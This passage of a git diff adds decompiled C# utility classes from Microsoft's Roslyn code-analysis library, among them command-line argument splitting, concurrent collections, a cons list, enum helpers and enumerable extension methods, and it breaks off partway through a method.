b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CommandLineUtilities.cs @@ -0,0 +1,95 @@ +using System; +using System.Collections.Generic; +using System.Text; + +namespace Roslyn.Utilities; + +internal static class CommandLineUtilities +{ + public static List SplitCommandLineIntoArguments(string commandLine, bool removeHashComments) + { + char? illegalChar; + return SplitCommandLineIntoArguments(commandLine, removeHashComments, out illegalChar); + } + + public static List SplitCommandLineIntoArguments(string commandLine, bool removeHashComments, out char? illegalChar) + { + List list = new List(); + SplitCommandLineIntoArguments(commandLine.AsSpan(), removeHashComments, new StringBuilder(), list, out illegalChar); + return list; + } + + public static void SplitCommandLineIntoArguments(ReadOnlySpan commandLine, bool removeHashComments, StringBuilder builder, List list, out char? illegalChar) + { + int i = 0; + builder.Length = 0; + illegalChar = null; + while (i < commandLine.Length) + { + for (; i < commandLine.Length && char.IsWhiteSpace(commandLine[i]); i++) + { + } + if (i == commandLine.Length || (commandLine[i] == '#' && removeHashComments)) + { + break; + } + int num = 0; + builder.Length = 0; + while (i < commandLine.Length && (!char.IsWhiteSpace(commandLine[i]) || num % 2 != 0)) + { + char c = commandLine[i]; + if (c != '"') + { + if (c == '\\') + { + int num2 = 0; + do + { + builder.Append(commandLine[i]); + i++; + num2++; + } + while (i < commandLine.Length && commandLine[i] == '\\'); + if (i < commandLine.Length && commandLine[i] == '"') + { + if (num2 % 2 == 0) + { + num++; + } + builder.Append('"'); + i++; + } + continue; + } + if ((c >= '\u0001' && c <= '\u001f') || c == '|') + { + if (!illegalChar.HasValue) + { + illegalChar = c; + } + } + else + { + builder.Append(c); + } + i++; + } + else + { + builder.Append(c); + num++; + i++; + } + } + if (num == 2 && builder[0] == '"' && builder[builder.Length - 1] == '"') + { + builder.Remove(0, 1); + builder.Remove(builder.Length - 1, 1); + } + if (builder.Length > 0) + { + list.Add(builder.ToString()); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CommonCompilerFileSystemExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CommonCompilerFileSystemExtensions.cs new file mode 100644 index 0000000..3ebc801 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CommonCompilerFileSystemExtensions.cs @@ -0,0 +1,31 @@ +using System; +using System.IO; + +namespace Roslyn.Utilities; + +internal static class CommonCompilerFileSystemExtensions +{ + internal static Stream OpenFileWithNormalizedException(this ICommonCompilerFileSystem fileSystem, string filePath, FileMode fileMode, FileAccess fileAccess, FileShare fileShare) + { + try + { + return fileSystem.OpenFile(filePath, fileMode, fileAccess, fileShare); + } + catch (ArgumentException) + { + throw; + } + catch (DirectoryNotFoundException ex2) + { + throw new FileNotFoundException(ex2.Message, filePath, ex2); + } + catch (IOException) + { + throw; + } + catch (Exception ex4) + { + throw new IOException(ex4.Message, ex4); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CompilerOptionParseUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CompilerOptionParseUtilities.cs new file mode 100644 index 0000000..c8792bb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CompilerOptionParseUtilities.cs @@ -0,0 +1,43 @@ +using System; +using System.Collections.Generic; + +namespace Roslyn.Utilities; + +internal static class CompilerOptionParseUtilities +{ + public static IList ParseFeatureFromMSBuild(string? features) + { + if (RoslynString.IsNullOrEmpty(features)) + { + return new List(0); + } + return features.Split(new char[3] { ';', ',', ' ' }, StringSplitOptions.RemoveEmptyEntries); + } + + public static void ParseFeatures(IDictionary builder, List values) + { + foreach (string value in values) + { + string[] array = value.Split(new char[1] { ',' }, StringSplitOptions.RemoveEmptyEntries); + foreach (string feature in array) + { + ParseFeatureCore(builder, feature); + } + } + } + + private static void ParseFeatureCore(IDictionary builder, string feature) + { + int num = feature.IndexOf('='); + if (num > 0) + { + string key = feature.Substring(0, num); + string value = feature.Substring(num + 1); + builder[key] = value; + } + else + { + builder[feature] = "true"; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CompilerPathUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CompilerPathUtilities.cs new file mode 100644 index 0000000..922cc90 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/CompilerPathUtilities.cs @@ -0,0 +1,19 @@ +using System; +using Microsoft.CodeAnalysis; + +namespace Roslyn.Utilities; + +internal static class CompilerPathUtilities +{ + internal static void RequireAbsolutePath(string path, string argumentName) + { + if (path == null) + { + throw new ArgumentNullException(argumentName); + } + if (!PathUtilities.IsAbsolute(path)) + { + throw new ArgumentException(CodeAnalysisResources.AbsolutePathExpected, argumentName); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConcurrentDictionaryExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConcurrentDictionaryExtensions.cs new file mode 100644 index 0000000..ef35e30 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConcurrentDictionaryExtensions.cs @@ -0,0 +1,42 @@ +using System; +using System.Collections.Concurrent; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Roslyn.Utilities; + +internal static class ConcurrentDictionaryExtensions +{ + public static void Add(this ConcurrentDictionary dict, K key, V value) where K : notnull + { + if (!dict.TryAdd(key, value)) + { + throw new ArgumentException("adding a duplicate", "key"); + } + } + + public static TValue GetOrAdd(this ConcurrentDictionary dictionary, TKey key, Func valueFactory, TArg factoryArgument) where TKey : notnull + { + if (dictionary.TryGetValue(key, out TValue value)) + { + return value; + } + Func boundFunction; + using (PooledDelegates.GetPooledFunction(valueFactory, factoryArgument, out boundFunction)) + { + return dictionary.GetOrAdd(key, boundFunction); + } + } + + public static TValue AddOrUpdate(this ConcurrentDictionary dictionary, TKey key, Func addValueFactory, Func updateValueFactory, TArg factoryArgument) where TKey : notnull + { + Func boundFunction; + using (PooledDelegates.GetPooledFunction(addValueFactory, factoryArgument, out boundFunction)) + { + Func boundFunction2; + using (PooledDelegates.GetPooledFunction(updateValueFactory, factoryArgument, out boundFunction2)) + { + return dictionary.AddOrUpdate(key, boundFunction, boundFunction2); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConcurrentSet.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConcurrentSet.cs new file mode 100644 index 0000000..0d9efe4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConcurrentSet.cs @@ -0,0 +1,125 @@ +using System.Collections; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Diagnostics; + +namespace Roslyn.Utilities; + +[DebuggerDisplay("Count = {Count}")] +internal sealed class ConcurrentSet : ICollection, IEnumerable, IEnumerable where T : notnull +{ + public readonly struct KeyEnumerator + { + private readonly IEnumerator> _kvpEnumerator; + + public T Current => _kvpEnumerator.Current.Key; + + internal KeyEnumerator(IEnumerable> data) + { + _kvpEnumerator = data.GetEnumerator(); + } + + public bool MoveNext() + { + return _kvpEnumerator.MoveNext(); + } + + public void Reset() + { + _kvpEnumerator.Reset(); + } + } + + private const int DefaultConcurrencyLevel = 2; + + private const int DefaultCapacity = 31; + + private readonly ConcurrentDictionary _dictionary; + + public int Count => _dictionary.Count; + + public bool IsEmpty => _dictionary.IsEmpty; + + public bool IsReadOnly => false; + + public ConcurrentSet() + { + _dictionary = new ConcurrentDictionary(2, 31); + } + + public ConcurrentSet(IEqualityComparer equalityComparer) + { + _dictionary = new ConcurrentDictionary(2, 31, equalityComparer); + } + + public bool Contains(T value) + { + return _dictionary.ContainsKey(value); + } + + public bool Add(T value) + { + return _dictionary.TryAdd(value, 0); + } + + public void AddRange(IEnumerable? values) + { + if (values == null) + { + return; + } + foreach (T value in values) + { + Add(value); + } + } + + public bool Remove(T value) + { + byte value2; + return _dictionary.TryRemove(value, out value2); + } + + public void Clear() + { + _dictionary.Clear(); + } + + public KeyEnumerator GetEnumerator() + { + return new KeyEnumerator(_dictionary); + } + + private IEnumerator GetEnumeratorImpl() + { + foreach (KeyValuePair item in _dictionary) + { + yield return item.Key; + } + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumeratorImpl(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumeratorImpl(); + } + + void ICollection.Add(T item) + { + Add(item); + } + + public void CopyTo(T[] array, int arrayIndex) + { + KeyEnumerator enumerator = GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + array[arrayIndex++] = current; + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConfiguredYieldAwaitable.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConfiguredYieldAwaitable.cs new file mode 100644 index 0000000..38ec78b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConfiguredYieldAwaitable.cs @@ -0,0 +1,71 @@ +using System; +using System.Runtime.CompilerServices; +using System.Threading; + +namespace Roslyn.Utilities; + +internal readonly struct ConfiguredYieldAwaitable(YieldAwaitable awaitable, bool continueOnCapturedContext) +{ + public readonly struct ConfiguredYieldAwaiter(YieldAwaitable.YieldAwaiter awaiter, bool continueOnCapturedContext) : INotifyCompletion, ICriticalNotifyCompletion + { + private static readonly WaitCallback s_runContinuation = delegate(object continuation) + { + ((Action)continuation)(); + }; + + private readonly YieldAwaitable.YieldAwaiter _awaiter = awaiter; + + private readonly bool _continueOnCapturedContext = continueOnCapturedContext; + + public bool IsCompleted + { + get + { + YieldAwaitable.YieldAwaiter awaiter = _awaiter; + return awaiter.IsCompleted; + } + } + + public void GetResult() + { + YieldAwaitable.YieldAwaiter awaiter = _awaiter; + awaiter.GetResult(); + } + + public void OnCompleted(Action continuation) + { + if (_continueOnCapturedContext) + { + YieldAwaitable.YieldAwaiter awaiter = _awaiter; + awaiter.OnCompleted(continuation); + } + else + { + ThreadPool.QueueUserWorkItem(s_runContinuation, continuation); + } + } + + public void UnsafeOnCompleted(Action continuation) + { + if (_continueOnCapturedContext) + { + YieldAwaitable.YieldAwaiter awaiter = _awaiter; + awaiter.UnsafeOnCompleted(continuation); + } + else + { + ThreadPool.UnsafeQueueUserWorkItem(s_runContinuation, continuation); + } + } + } + + private readonly YieldAwaitable _awaitable = awaitable; + + private readonly bool _continueOnCapturedContext = continueOnCapturedContext; + + public ConfiguredYieldAwaiter GetAwaiter() + { + YieldAwaitable awaitable = _awaitable; + return new ConfiguredYieldAwaiter(awaitable.GetAwaiter(), _continueOnCapturedContext); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConsList.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConsList.cs new file mode 100644 index 0000000..72a0de2 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/ConsList.cs @@ -0,0 +1,118 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Text; + +namespace Roslyn.Utilities; + +internal class ConsList : IEnumerable, IEnumerable +{ + internal struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + private T? _current; + + private ConsList _tail; + + public T Current => _current; + + object? IEnumerator.Current => Current; + + internal Enumerator(ConsList list) + { + _current = default(T); + _tail = list; + } + + public bool MoveNext() + { + ConsList tail = _tail; + ConsList tail2 = tail._tail; + if (tail2 != null) + { + _current = tail._head; + _tail = tail2; + return true; + } + _current = default(T); + return false; + } + + public void Dispose() + { + } + + public void Reset() + { + throw new NotSupportedException(); + } + } + + public static readonly ConsList Empty = new ConsList(); + + private readonly T? _head; + + private readonly ConsList? _tail; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public T Head => _head; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public ConsList Tail => _tail; + + private ConsList() + { + _head = default(T); + _tail = null; + } + + public ConsList(T head, ConsList tail) + { + _head = head; + _tail = tail; + } + + public bool Any() + { + return this != Empty; + } + + public ConsList Push(T value) + { + return new ConsList(value, this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + public override string ToString() + { + StringBuilder stringBuilder = new StringBuilder("ConsList["); + bool flag = false; + ConsList consList = this; + while (consList._tail != null) + { + if (flag) + { + stringBuilder.Append(", "); + } + stringBuilder.Append(consList.Head); + flag = true; + consList = consList._tail; + } + stringBuilder.Append("]"); + return stringBuilder.ToString(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/DecimalUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/DecimalUtilities.cs new file mode 100644 index 0000000..b2106ce --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/DecimalUtilities.cs @@ -0,0 +1,19 @@ +namespace Roslyn.Utilities; + +internal static class DecimalUtilities +{ + public static int GetScale(this decimal value) + { + return (byte)(decimal.GetBits(value)[3] >> 16); + } + + public static void GetBits(this decimal value, out bool isNegative, out byte scale, out uint low, out uint mid, out uint high) + { + int[] bits = decimal.GetBits(value); + low = (uint)bits[0]; + mid = (uint)bits[1]; + high = (uint)bits[2]; + scale = (byte)(bits[3] >> 16); + isNegative = (bits[3] & 0x80000000u) != 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/DocumentationCommentXmlNames.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/DocumentationCommentXmlNames.cs new file mode 100644 index 0000000..9eceadf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/DocumentationCommentXmlNames.cs @@ -0,0 +1,93 @@ +using System; + +namespace Roslyn.Utilities; + +internal static class DocumentationCommentXmlNames +{ + public const string CElementName = "c"; + + public const string CodeElementName = "code"; + + public const string CompletionListElementName = "completionlist"; + + public const string DescriptionElementName = "description"; + + public const string ExampleElementName = "example"; + + public const string ExceptionElementName = "exception"; + + public const string IncludeElementName = "include"; + + public const string InheritdocElementName = "inheritdoc"; + + public const string ItemElementName = "item"; + + public const string ListElementName = "list"; + + public const string ListHeaderElementName = "listheader"; + + public const string ParaElementName = "para"; + + public const string ParameterElementName = "param"; + + public const string ParameterReferenceElementName = "paramref"; + + public const string PermissionElementName = "permission"; + + public const string PlaceholderElementName = "placeholder"; + + public const string PreliminaryElementName = "preliminary"; + + public const string RemarksElementName = "remarks"; + + public const string ReturnsElementName = "returns"; + + public const string SeeElementName = "see"; + + public const string SeeAlsoElementName = "seealso"; + + public const string SummaryElementName = "summary"; + + public const string TermElementName = "term"; + + public const string ThreadSafetyElementName = "threadsafety"; + + public const string TypeParameterElementName = "typeparam"; + + public const string TypeParameterReferenceElementName = "typeparamref"; + + public const string ValueElementName = "value"; + + public const string CrefAttributeName = "cref"; + + public const string HrefAttributeName = "href"; + + public const string FileAttributeName = "file"; + + public const string InstanceAttributeName = "instance"; + + public const string LangwordAttributeName = "langword"; + + public const string NameAttributeName = "name"; + + public const string PathAttributeName = "path"; + + public const string StaticAttributeName = "static"; + + public const string TypeAttributeName = "type"; + + public static bool ElementEquals(string name1, string name2, bool fromVb = false) + { + return string.Equals(name1, name2, fromVb ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase); + } + + public static bool AttributeEquals(string name1, string name2) + { + return string.Equals(name1, name2, StringComparison.Ordinal); + } + + public new static bool Equals(object left, object right) + { + return object.Equals(left, right); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EmptyComparer.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EmptyComparer.cs new file mode 100644 index 0000000..a6af2c9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EmptyComparer.cs @@ -0,0 +1,22 @@ +using System.Collections.Generic; + +namespace Roslyn.Utilities; + +internal sealed class EmptyComparer : IEqualityComparer +{ + public static readonly EmptyComparer Instance = new EmptyComparer(); + + private EmptyComparer() + { + } + + bool IEqualityComparer.Equals(object? a, object? b) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/InternalUtilities/EmptyComparer.cs", 24); + } + + int IEqualityComparer.GetHashCode(object s) + { + return 0; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EnumField.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EnumField.cs new file mode 100644 index 0000000..748c880 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EnumField.cs @@ -0,0 +1,66 @@ +using System.Collections.Generic; +using System.Diagnostics; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Roslyn.Utilities; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal readonly struct EnumField(string name, ulong value, object? identityOpt = null) +{ + private class EnumFieldComparer : IComparer + { + int IComparer.Compare(EnumField field1, EnumField field2) + { + long value = (long)field2.Value; + int num = value.CompareTo((long)field1.Value); + if (num != 0) + { + return num; + } + return string.CompareOrdinal(field1.Name, field2.Name); + } + } + + public static readonly IComparer Comparer = new EnumFieldComparer(); + + public readonly string Name = name; + + public readonly ulong Value = value; + + public readonly object? IdentityOpt = identityOpt; + + public bool IsDefault => Name == null; + + private string GetDebuggerDisplay() + { + return $"{{{Name} = {Value}}}"; + } + + internal static EnumField FindValue(ArrayBuilder sortedFields, ulong value) + { + int num = 0; + int num2 = sortedFields.Count; + while (num < num2) + { + int num3 = num + (num2 - num) / 2; + long num4 = (long)(value - sortedFields[num3].Value); + if (num4 == 0L) + { + while (num3 >= num && sortedFields[num3].Value == value) + { + num3--; + } + return sortedFields[num3 + 1]; + } + if (num4 > 0) + { + num2 = num3; + } + else + { + num = num3 + 1; + } + } + return default(EnumField); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EnumUtilities.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EnumUtilities.cs new file mode 100644 index 0000000..1f84a6a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EnumUtilities.cs @@ -0,0 +1,28 @@ +using System; +using Microsoft.CodeAnalysis; + +namespace Roslyn.Utilities; + +internal static class EnumUtilities +{ + internal static ulong ConvertEnumUnderlyingTypeToUInt64(object value, SpecialType specialType) + { + return specialType switch + { + SpecialType.System_SByte => (ulong)(sbyte)value, + SpecialType.System_Int16 => (ulong)(short)value, + SpecialType.System_Int32 => (ulong)(int)value, + SpecialType.System_Int64 => (ulong)(long)value, + SpecialType.System_Byte => (byte)value, + SpecialType.System_UInt16 => (ushort)value, + SpecialType.System_UInt32 => (uint)value, + SpecialType.System_UInt64 => (ulong)value, + _ => throw new InvalidOperationException($"{specialType} is not a valid underlying type for an enum"), + }; + } + + internal static T[] GetValues() where T : struct + { + return (T[])Enum.GetValues(typeof(T)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EnumerableExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EnumerableExtensions.cs new file mode 100644 index 0000000..f5303bf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Roslyn.Utilities/EnumerableExtensions.cs @@ -0,0 +1,673 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Collections.ObjectModel; +using System.Linq; +using System.Threading; +using System.Threading.Tasks; +using Microsoft.CodeAnalysis; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Roslyn.Utilities; + +internal static class EnumerableExtensions +{ + private static class Comparisons where T : IComparable + { + public static readonly Comparison CompareTo = (T t1, T t2) => t1.CompareTo(t2); + + public static readonly IComparer Comparer = Comparer.Create(CompareTo); + } + + private static readonly Func s_notNullTest = (object x) => x != null; + + public static IEnumerable Do(this IEnumerable source, Action action) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + if (action == null) + { + throw new ArgumentNullException("action"); + } + if (source is IList list) + { + int i = 0; + for (int count = list.Count; i < count; i++) + { + action(list[i]); + } + } + else + { + foreach (T item in source) + { + action(item); + } + } + return source; + } + + public static ImmutableArray ToImmutableArrayOrEmpty(this IEnumerable? items) + { + if (items == null) + { + return ImmutableArray.Create(); + } + if (items is ImmutableArray array) + { + return array.NullToEmpty(); + } + return ImmutableArray.CreateRange(items); + } + + public static IReadOnlyList ToBoxedImmutableArray(this IEnumerable? items) + { + if (items == null) + { + return SpecializedCollections.EmptyBoxedImmutableArray(); + } + if (items is ImmutableArray immutableArray) + { + if (!immutableArray.IsDefaultOrEmpty) + { + return (IReadOnlyList)items; + } + return SpecializedCollections.EmptyBoxedImmutableArray(); + } + if (items is ICollection { Count: 0 }) + { + return SpecializedCollections.EmptyBoxedImmutableArray(); + } + return ImmutableArray.CreateRange(items); + } + + public static ReadOnlyCollection ToReadOnlyCollection(this IEnumerable source) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + return new ReadOnlyCollection(source.ToList()); + } + + public static IEnumerable Concat(this IEnumerable source, T value) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + return source.ConcatWorker(value); + } + + private static IEnumerable ConcatWorker(this IEnumerable source, T value) + { + foreach (T item in source) + { + yield return item; + } + yield return value; + } + + public static bool SetEquals(this IEnumerable source1, IEnumerable source2, IEqualityComparer? comparer) + { + if (source1 == null) + { + throw new ArgumentNullException("source1"); + } + if (source2 == null) + { + throw new ArgumentNullException("source2"); + } + return source1.ToSet(comparer).SetEquals(source2); + } + + public static bool SetEquals(this IEnumerable source1, IEnumerable source2) + { + if (source1 == null) + { + throw new ArgumentNullException("source1"); + } + if (source2 == null) + { + throw new ArgumentNullException("source2"); + } + return source1.ToSet().SetEquals(source2); + } + + public static ISet ToSet(this IEnumerable source, IEqualityComparer? comparer) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + return new HashSet(source, comparer); + } + + public static ISet ToSet(this IEnumerable source) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + return (source as ISet) ?? new HashSet(source); + } + + public static IReadOnlyCollection ToCollection(this IEnumerable sequence) + { + if (!(sequence is IReadOnlyCollection result)) + { + return sequence.ToList(); + } + return result; + } + + public static T? FirstOrDefault(this IEnumerable source, Func predicate, TArg arg) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + if (predicate == null) + { + throw new ArgumentNullException("predicate"); + } + foreach (T item in source) + { + if (predicate(item, arg)) + { + return item; + } + } + return default(T); + } + + public static T? FirstOrNull(this IEnumerable source) where T : struct + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + return source.Cast().FirstOrDefault(); + } + + public static T? FirstOrNull(this IEnumerable source, Func predicate) where T : struct + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + if (predicate == null) + { + throw new ArgumentNullException("predicate"); + } + return source.Cast().FirstOrDefault((T? v, Func func) => func(v.Value), predicate); + } + + public static T? FirstOrNull(this IEnumerable source, Func predicate, TArg arg) where T : struct + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + if (predicate == null) + { + throw new ArgumentNullException("predicate"); + } + return source.Cast().FirstOrDefault((T? v, (Func predicate, TArg arg) tuple) => tuple.predicate(v.Value, tuple.arg), (predicate, arg)); + } + + public static T? LastOrNull(this IEnumerable source) where T : struct + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + return source.Cast().LastOrDefault(); + } + + public static T? SingleOrNull(this IEnumerable source, Func predicate) where T : struct + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + return source.Cast().SingleOrDefault((T? v) => predicate(v.Value)); + } + + public static bool IsSingle(this IEnumerable list) + { + using IEnumerator enumerator = list.GetEnumerator(); + return enumerator.MoveNext() && !enumerator.MoveNext(); + } + + public static bool IsEmpty(this IEnumerable source) + { + if (source is IReadOnlyCollection readOnlyCollection) + { + return readOnlyCollection.Count == 0; + } + if (source is ICollection collection) + { + return collection.Count == 0; + } + if (source is ICollection collection2) + { + return collection2.Count == 0; + } + if (source is string text) + { + return text.Length == 0; + } + using (IEnumerator enumerator = source.GetEnumerator()) + { + if (enumerator.MoveNext()) + { + _ = enumerator.Current; + return false; + } + } + return true; + } + + public static bool IsEmpty(this IReadOnlyCollection source) + { + return source.Count == 0; + } + + public static bool IsEmpty(this ICollection source) + { + return source.Count == 0; + } + + public static bool IsEmpty(this string source) + { + return source.Length == 0; + } + + public static bool IsEmpty(this T[] source) + { + return source.Length == 0; + } + + public static bool IsEmpty(this List source) + { + return source.Count == 0; + } + + public static IEnumerable WhereNotNull(this IEnumerable source) where T : class + { + if (source == null) + { + return SpecializedCollections.EmptyEnumerable(); + } + return source.Where((Func)s_notNullTest); + } + + public static T[] AsArray(this IEnumerable source) + { + return (source as T[]) ?? source.ToArray(); + } + + public static ImmutableArray SelectAsArray(this IEnumerable? source, Func selector) + { + if (source == null) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + instance.AddRange(source.Select(selector)); + return instance.ToImmutableAndFree(); + } + + public static ImmutableArray SelectAsArray(this IEnumerable? source, Func selector) + { + if (source == null) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int num = 0; + foreach (TSource item in source) + { + instance.Add(selector(item, num)); + num++; + } + return instance.ToImmutableAndFree(); + } + + public static ImmutableArray SelectAsArray(this IReadOnlyCollection? source, Func selector) + { + if (source == null) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(source.Count); + foreach (TSource item in source) + { + instance.Add(selector(item)); + } + return instance.ToImmutableAndFree(); + } + + public static ImmutableArray SelectManyAsArray(this IReadOnlyCollection? source, Func> selector) + { + if (source == null) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(source.Count); + foreach (TSource item in source) + { + instance.AddRange(selector(item)); + } + return instance.ToImmutableAndFree(); + } + + public static async ValueTask> SelectAsArrayAsync(this IEnumerable source, Func> selector) + { + ArrayBuilder builder = ArrayBuilder.GetInstance(); + foreach (TItem item in source) + { + ArrayBuilder arrayBuilder = builder; + arrayBuilder.Add(await selector(item).ConfigureAwait(continueOnCapturedContext: false)); + } + return builder.ToImmutableAndFree(); + } + + public static async ValueTask> SelectAsArrayAsync(this IEnumerable source, Func> selector, CancellationToken cancellationToken) + { + ArrayBuilder builder = ArrayBuilder.GetInstance(); + foreach (TItem item in source) + { + ArrayBuilder arrayBuilder = builder; + arrayBuilder.Add(await selector(item, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)); + } + return builder.ToImmutableAndFree(); + } + + public static async ValueTask> SelectAsArrayAsync(this IEnumerable source, Func> selector, TArg arg, CancellationToken cancellationToken) + { + ArrayBuilder builder = ArrayBuilder.GetInstance(); + foreach (TItem item in source) + { + ArrayBuilder arrayBuilder = builder; + arrayBuilder.Add(await selector(item, arg, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)); + } + return builder.ToImmutableAndFree(); + } + + public static async ValueTask> SelectManyAsArrayAsync(this IEnumerable source, Func>> selector, TArg arg, CancellationToken cancellationToken) + { + ArrayBuilder builder = ArrayBuilder.GetInstance(); + foreach (TItem item in source) + { + ArrayBuilder arrayBuilder = builder; + arrayBuilder.AddRange(await selector(item, arg, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)); + } + return builder.ToImmutableAndFree(); + } + + public static async ValueTask> SelectManyInParallelAsync(this IEnumerable sequence, Func>> selector, CancellationToken cancellationToken) + { + return (await Task.WhenAll(sequence.Select((TItem item) => selector(item, cancellationToken))).ConfigureAwait(continueOnCapturedContext: false)).Flatten(); + } + + public static bool All(this IEnumerable source) + { + if (source == null) + { + throw new ArgumentNullException("source"); + } + foreach (bool item in source) + { + if (!item) + { + return false; + } + } + return true; + } + + public static int IndexOf(this IEnumerable sequence, T value) + { + if (!(sequence is IList list)) + { + if (sequence is IReadOnlyList list2) + { + return list2.IndexOf(value, EqualityComparer.Default); + } + return sequence.EnumeratingIndexOf(value, EqualityComparer.Default); + } + return list.IndexOf(value); + } + + public static int IndexOf(this IEnumerable sequence, T value, IEqualityComparer comparer) + { + if (sequence is IReadOnlyList list) + { + return list.IndexOf(value, comparer); + } + return sequence.EnumeratingIndexOf(value, comparer); + } + + private static int EnumeratingIndexOf(this IEnumerable sequence, T value, IEqualityComparer comparer) + { + int num = 0; + foreach (T item in sequence) + { + if (comparer.Equals(item, value)) + { + return num; + } + num++; + } + return -1; + } + + public static int IndexOf(this IReadOnlyList list, T value, IEqualityComparer comparer) + { + int i = 0; + for (int count = list.Count; i < count; i++) + { + if (comparer.Equals(list[i], value)) + { + return i; + } + } + return -1; + } + + public static IEnumerable Flatten(this IEnumerable> sequence) + { + if (sequence == null) + { + throw new ArgumentNullException("sequence"); + } + return sequence.SelectMany((IEnumerable s) => s); + } + + public static IOrderedEnumerable OrderBy(this IEnumerable source, IComparer? comparer) + { + return source.OrderBy(Functions.Identity, comparer); + } + + public static IOrderedEnumerable OrderByDescending(this IEnumerable source, IComparer? comparer) + { + return source.OrderByDescending(Functions.Identity, comparer); + } + + public static IOrderedEnumerable OrderBy(this IEnumerable source, Comparison compare) + { + return source.OrderBy(Comparer.Create(compare)); + } + + public static IOrderedEnumerable OrderByDescending(this IEnumerable source, Comparison compare) + { + return source.OrderByDescending(Comparer.Create(compare)); + } + + public static IOrderedEnumerable Order(this IEnumerable source) where T : IComparable + { + return 